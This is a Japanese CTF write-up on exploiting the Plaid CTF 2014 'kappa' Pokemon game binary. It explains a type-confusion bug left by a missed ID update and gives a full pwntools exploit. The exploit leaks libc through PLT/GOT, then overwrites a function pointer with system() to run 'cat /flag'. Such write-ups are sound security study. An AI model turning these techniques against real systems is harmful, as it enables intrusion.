イントロ Link to this heading

batalistの medium easy 問題。 Plaid CTF 2014kappa を解いていく。

表層解析 Link to this heading

sec.sh
1./kappa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.26, BuildID[sha1]=2e0e9cd69dfa9cbc9ae857f9e67fa33bc04b1a24, stripped
2Arch:     i386-32-little
3RELRO:    No RELRO
4Stack:    No canary found
5NX:       NX enabled
6PIE:      No PIE (0x8048000)

Ghidra で解析したところmain()の switch 分岐のところで Low-level error というあまり見たことのないエラーで解析がだいぶミスっていた。 まぁそれはいいとして stripped な上に割とめんどくさいプログラムで、 特に構造体のメンバをはっきりさせるのに苦労した。 あと logical なバグの他に、誤字もあったりして解析していて複雑な気分になったりした。

簡単な binary patching Link to this heading

このプログラムにはsleep()をする場所がいくつかあり解析する上で非常に邪魔である。 Ghidra にも binary patching の機能はついているが、プログラムのロード時に ELF 形式ではなく Binary 形式としてロードする必要がある上、 それによって出力されるバイナリは実行するとセグフォが起きる (噂によるとヘッダーを書き間違えてるとかなんとか)。

というわけで binary patching にはradare2を用いる。 方法は以下の通り:

.sh
1skb@niveapc:~/Documents/CTF/kappa$ r2 -N -w ./kappa_nosleep
2[0x08048df4]> s 0x8048df5
3[0x08048df5]> pd 1
4            0x08048df5      c70424010000.  mov dword [esp], 1
5[0x08048df5]> wa mov dword [esp], 0
6Written 7 byte(s) (mov dword [esp], 0) = wx c7042400000000
7[0x08048df5]> pd 1
8            0x08048df5      c70424000000.  mov dword [esp], 0
9[0x080492d7]> quit

ロード時にはデスク上のイメージを読み込むためのフラグ-Nと、 イメージへの書き込みを許可する-w フラグをつける必要がある。 waの時点で書き込みは完了しているため出力等のコマンドは打たずにquitすればよい。 修正後のプログラムを動かしてみると、無事sleep()なしで快適にデバッグすることができた Ghidra、がんばれよ

プログラムの概要とデータ構造 Link to this heading

プログラムの概要 Link to this heading

demo.txt
1Choose an Option:
21. Go into the Grass
32. Heal your Pokemon
43. Inpect your Pokemon
54. Release a Pokemon
65. Change Pokemon artwork

上のようにポケモンのような選択肢が与えられる。

  1. Go into the Grass: 草むらに入って 2 回に一回コクーン(Kakuna)と、d 回に一回リザードン(Charizard)と遭遇する。 先頭に入ると攻撃/モンスターボール/逃げ出すの選択肢があり、 相手の体力が 0x15 未満だと捕まえることができる。
  2. Heal your Pokemon: ポケセンに行ってポケモンの体力を回復することができる。 このゲームにポケモンはピジョット(Bird Jesus)/コクーン/リザードンしか出てこないがそれぞれ体力の上限が決まっており、その値まで手持ちポケモンの体力を回復する。
  3. Inspect your Pokemon: ポケモンのステータスを見ることができる。 後述するが各ポケモンは自身のイラストをアスキーアート(artwork)として保持しておりそれも表示される。
  4. Release a Pokemon: 手持ちポケモンを逃がす。 1 番目のポケモン(Bird Jesus)は逃がすことができない。 最大でピジョットも含めて 5 体まで保持できる。
  5. Change Pokemon artwork: ポケモンのイラストを表すアスキーアートを入力値で変更できる。 文字数は前のアスキーアートと同じ長さまで可能。

データ構造 Link to this heading

3 種類のポケモンそれぞれが異なる構造体で表現される:

.c
1struct pokemon_xxx{
2  char name[60];
3  char artwork[456/ 2108/ 1456]; //コクーン/ リザードン/ ピジョット
4  int hp;
5  int attack;
6  char **skillname_ptr;
7  void *show_status_func;
8}

各構造体ごとにartworkのサイズだけが異なっている。 また、hpには現在の体力、attackには決められた攻撃力、skillname_ptrには技名文字列へのアドレス、 show_status_funcには自身のステータスを表示する関数ポインタが入っている。 上述の3:Inspect...では各ポケモンごとにこの関数ポインタをたどることでステータスを表示している。

ポケモンは.bss 領域の配列の中に入っている。 しかしそれだけではその構造体がどのポケモンを表しているのかがわからないため、 別途int型配列を用意し、各構造体のポケモン ID(リザードン 1,コクーン 2,ピジョット 3)だけを記録している。

.c
1struct pokemon pokemons[5];
2int IDs[5];

脆弱性 Link to this heading

無限増殖バグ Link to this heading

ポケモンに不思議なアメを持たせておく。 バトルフロンティアに行き右側のパソコンにポケモンを預ける。 パソコンを離れる際にセーブをするが、その途中で GB 本体の電源をぶち消しする。 再び電源を入れると手持ちとパソコンの両方にポケモンが入っている。

ってこれはポケットモンスターエメラルドの無限増殖バグだった。


これほどではないがこのプログラムにも増殖バグがある。 4:Release...でピジョット以外のポケモンを逃がすことができるのだが、 ix番目のポケモンを逃がすとしたらpokemons[i] = pokemons[i+1] (i>=ix)という処理をしている。 すなわちコクーン1体と引き換えに一番最後のポケモンが増殖することになる。

残念ながらこのバグは今回は利用しない。

ポケモン逃がすからそういうことになるんだ Link to this heading

本命の脆弱性は4:Releaseではない部分のポケモンを逃がす処理にある。 1:Go...で新しいポケモンを捕まえたが手持ちがいっぱいのときにもポケモンを逃がすことができる。 その処理が以下なのだが:

.c
1free((&pokemons)[your_choice]);
2(&pokemons)[your_choice] = enemy_pokemon;
3return;

IDs の更新を忘れてしまっている。 即ち新しくリザードンを捕まえても、手持ちにもともといたポケモンがコクーンならば、 それ以降リザードンをコクーンとして扱ってしまうことになる。

コレのまずいところは3:Inspect...にある。 前述したようにステータスの表示は各構造体のshow_status_funcポインタの関数を呼び出して行っているのだが、 コクーン構造体のshow_status_funcメンバに相当するオフセットはリザードン構造体の artwork に相当する。 しかもこのartworkの中身は5:Change...で自由に書き換えることができる。

つまり任意のアドレスにジャンプすることができる。

libc base のリーク Link to this heading

どこにでもジャンプできるようになったからあとはどこにジャンプするかだ。 leak する選択肢としては libc base か heap base のどちらかがまっさきに挙がる。

先程の構造体の読み違えによってskillname_ptrも任意の値にすることができる。 skillname_ptrchar**ゆえこの値を libc のアドレスを指すポインタを指すポインタのアドレスにすれば libc のアドレスを知ることができる

うーん、libc を指す既知のアドレスにあるポインタのポインタなんてあったかなぁ。。。

あ、GOT/PLT だ。 PLT の jmp 命令の下バイトには GOT のアドレスが入っている よって PLT のアドレスで参照剥がしすると GOT のアドレスが出てくる GOT のアドレスを参照剥がしすると libc のアドレスが出てくる 丁度いいものがないか探してみると。。。

.sh
 1GOT protection: No RELRO | GOT functions: 14
 2
 3[0x804aeb4] read@GLIBC_2.0 -> 0xf7dd6cb0 (read) ◂— push   esi
 4[0x804aeb8] printf@GLIBC_2.0 -> 0xf7d412d0 (printf) ◂— call   0xf7e27379
 5[0x804aebc] free@GLIBC_2.0 -> 0xf7d6b250 (free) ◂— push   edi
 6[0x804aec0] memcpy@GLIBC_2.0 -> 0xf7e32750 (__memcpy_ssse3) ◂— push   ebx
 7[0x804aec4] getchar@GLIBC_2.0 -> 0xf7d5e240 (getchar) ◂— push   ebp
 8[0x804aec8] sleep@GLIBC_2.0 -> 0xf7daf030 (sleep) ◂— push   ebp
 9[0x804aecc] strcpy@GLIBC_2.0 -> 0xf7d763d0 (__strcpy_ssse3) ◂— mov    edx, dword ptr [esp + 4]
10[0x804aed0] malloc@GLIBC_2.0 -> 0xf7d6ac30 (malloc) ◂— push   ebp
11[0x804aed4] puts@GLIBC_2.0 -> 0xf7d57b40 (puts) ◂— push   ebp
12[0x804aed8] __gmon_start__ -> 0x80485a6 (__gmon_start__@plt+6) ◂— push   0x48 /* 'hH' */
13[0x804aedc] exit@GLIBC_2.0 -> 0x80485b6 (exit@plt+6) ◂— push   0x50 /* 'hP' */
14[0x804aee0] strlen@GLIBC_2.0 -> 0xf7d762a0 (__strlen_sse2_bsf) ◂— push   esi
15[0x804aee4] __libc_start_main@GLIBC_2.0 -> 0xf7d08d90 (__libc_start_main) ◂— call   0xf7e27379
16[0x804aee8] setvbuf@GLIBC_2.0 -> 0xf7d582b0 (setvbuf) ◂— push   ebp
17pwndbg> plt
180x8048510: read@plt
190x8048520: printf@plt
200x8048530: free@plt
210x8048540: memcpy@plt
220x8048550: getchar@plt
230x8048560: sleep@plt
240x8048570: strcpy@plt
250x8048580: malloc@plt
260x8048590: puts@plt
270x80485a0: __gmon_start__@plt
280x80485b0: exit@plt
290x80485c0: strlen@plt
300x80485d0: __libc_start_main@plt
310x80485e0: setvbuf@plt
32pwndbg> x/30wx 0x8048510
330x8048510 <read@plt>:	0xaeb425ff	0x00680804	0xe9000000	0xffffffe0
340x8048520 <printf@plt>:	0xaeb825ff	0x08680804	0xe9000000	0xffffffd0
350x8048530 <free@plt>:	0xaebc25ff	0x10680804	0xe9000000	0xffffffc0
360x8048540 <memcpy@plt>:	0xaec025ff	0x18680804	0xe9000000	0xffffffb0
370x8048550 <getchar@plt>:	0xaec425ff	0x20680804	0xe9000000	0xffffffa0
380x8048560 <sleep@plt>:	0xaec825ff	0x28680804	0xe9000000	0xffffff90
390x8048570 <strcpy@plt>:	0xaecc25ff	0x30680804	0xe9000000	0xffffff80
400x8048580 <malloc@plt>:	0xaed025ff	0x38680804

はい、大文字にしたところにprintf()の GOT が現れている。

これで libc_base が leak できたから、 show_status_func()へのポインタをsystem()に変えれば終了。 その際の第一引数はpokemonのアドレスであり、 pokemon構造体の先頭には名前が入っているから名前を cat /flag にしてしまえば終わり。

exploit Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./kappa_nosleep"
  8
  9rhp2 = {'host':"localhost",'port':12300}
 10context(os='linux',arch='i386')
 11binf = ELF(FILENAME)
 12
 13grass_counter = 0
 14diff_artwork = 2108-456 #the difference of size of artwork between Rizadon and Kokun
 15pokemons_addr = 0x804bfac
 16main_addr = 0x8049284
 17len_artwork_rizadon = 0x850
 18len_artwork_kokun = 0x210 - 60
 19show_status_func_pidget = 0x80487dc
 20show_status_func_kokun = 0x8048766
 21offset_printf = 0x512d0
 22offset_system = 0x3d200
 23
 24def go_grass(conn,name="AAA",no_kokun=False):
 25  global grass_counter
 26  grass_counter += 1
 27  conn.sendline("1")
 28  if(grass_counter%0xd==0): #get Rizadon (we can capture him by attacking four times)
 29    for i in range(4):
 30      conn.sendline("1")
 31    conn.sendline("2")
 32    conn.recvuntil("Pokemon?\n")
 33    conn.send(name)
 34    return
 35  if(grass_counter%2==0): #get kokun (we can capture him without attack)
 36    if(no_kokun==True):
 37      conn.sendline("3")
 38      return
 39    else:
 40      conn.sendline("2")
 41      conn.recvuntil("Pokemon?\n")
 42      conn.send(name)
 43      return
 44  return #get nothing
 45
 46def get_kokun(conn,name="AAA"):
 47  if(grass_counter%2==1):
 48    go_grass(conn,name)
 49  else:
 50    go_grass(conn,name)
 51    go_grass(conn,name)
 52
 53def get_rizadon(conn,name="AAA"):
 54  while((grass_counter+1)%0xd!=0):
 55    go_grass(conn,name,no_kokun=True)
 56  go_grass(conn,name)
 57
 58def release(conn,ix):
 59  conn.sendline("4")
 60  conn.sendline(str(ix))
 61
 62def edit_artwork(conn,ix,artwork):
 63  conn.sendline("5")
 64  sleep(0.2)
 65  conn.sendline(str(ix))
 66  sleep(0.2)
 67  conn.send(artwork+"A"*(len_artwork_rizadon - len(artwork)))
 68
 69def exploit(conn):
 70  #get four kokuns
 71  for i in range(4):
 72    get_kokun(conn,"AAAAA")
 73  #get rizadon @2 (it'd be regarded as kokun)
 74  get_rizadon(conn,"X"*8)
 75  sleep(0.2)
 76  conn.sendline("2")
 77  sleep(0.2)
 78
 79  #edit artwork of newly captured Rizadon (regarded as kokun)
 80  payload = "A" * (len_artwork_kokun+0x21)
 81  payload += p32(0xfff) #hp
 82  payload += p32(0xeee) #attack
 83  payload += p32(binf.plt["printf"]+2) #skillname_ptr
 84  payload += p32(show_status_func_kokun) #show_status_func
 85  edit_artwork(conn,2,payload)
 86
 87  #leak libc base
 88  sleep(0.2)
 89  conn.sendline("3")
 90  conn.recvuntil("Attack: ")
 91  conn.recvuntil("Attack: ")
 92  printf_addr = unpack(conn.recv(4))
 93  print("[+]printf: "+hex(printf_addr))
 94  libc_base = printf_addr - offset_printf
 95  print("[+]libc_base: "+hex(libc_base))
 96  system_addr = libc_base + offset_system
 97  print("[+]system: "+hex(system_addr))
 98
 99
100  #clean up and regenerate
101  for i in reversed(range(1,6)):
102    release(conn,i)
103
104  for i in range(4):
105    get_kokun(conn,"CCCC")
106  get_rizadon(conn,"cat /flag") #it'd be the first argument of system()
107  sleep(0.2)
108  conn.sendline("2")
109  sleep(0.2)
110
111  #jump
112  payload = "A" * (len_artwork_kokun+0x21)
113  payload += p32(0xfff) #hp
114  payload += p32(0xeee) #attack
115  payload += p32(0xbbb) #skillname_ptr
116  payload += p32(libc_base + offset_system)
117  edit_artwork(conn,2,payload)
118  conn.sendline("3")
119
120
121
122if len(sys.argv)>1:
123  if sys.argv[1][0]=="d":
124    cmd = """
125      set follow-fork-mode parent
126    """
127    conn = gdb.debug(FILENAME,cmd)
128  elif sys.argv[1][0]=="r":
129    conn = remote(rhp1["host"],rhp1["port"])
130else:
131    conn = remote(rhp2['host'],rhp2['port'])
132exploit(conn)
133conn.interactive()

結果 Link to this heading

result.sh
 1Current Health: 920
 2Attack Power: 20
 3Attack: Gust
 4FLAG={thi5_i5_t35t_f1ag}
 5Name: CCCC
 6     _.---._
 7   .'       '.
 8  /           \
 9 / /'-.   .-'\ \
10 '.`"""` `"""`.'
11  /'-._   _.-'\
12 /_.--\`-`/--._\
13 ;    |'-'|    ;
14 |  .'/ | \'.  |
15 |  | \ | / |  |
16  \  \/\|/\/  /
17   \_/  _  \_/
18    |-'` `'-|
19    |.-"""-.|
20    \ .---. /
21     '._ _.'
22        `
23
24Current Health: 20
25Attack Power: 1
26Attack: Tackle
27Name: CCCC
28     _.---._
29   .'       '.
30  /           \
31 / /'-.   .-'\ \
32 '.`"""` `"""`.'
33  /'-._   _.-'\
34 /_.--\`-`/--._\
35 ;    |'-'|    ;
36 |  .'/ | \'.  |
37 |  | \ | / |  |
38  \  \/\|/\/  /
39   \_/  _  \_/
40    |-'` `'-|
41    |.-"""-.|
42    \ .---. /
43     '._ _.'
44        `
45
46Current Health: 20
47Attack Power: 1
48Attack: Tackle
49Name: CCCC
50     _.---._
51   .'       '.
52  /           \
53 / /'-.   .-'\ \
54 '.`"""` `"""`.'
55  /'-._   _.-'\
56 /_.--\`-`/--._\
57 ;    |'-'|    ;
58 |  .'/ | \'.  |
59 |  | \ | / |  |
60  \  \/\|/\/  /
61   \_/  _  \_/
62    |-'` `'-|
63    |.-"""-.|
64    \ .---. /
65     '._ _.'
66        `

アウトロ Link to this heading

ピジョットって Bird Jesus って呼ばれてるんだね。。。

Refs Link to this heading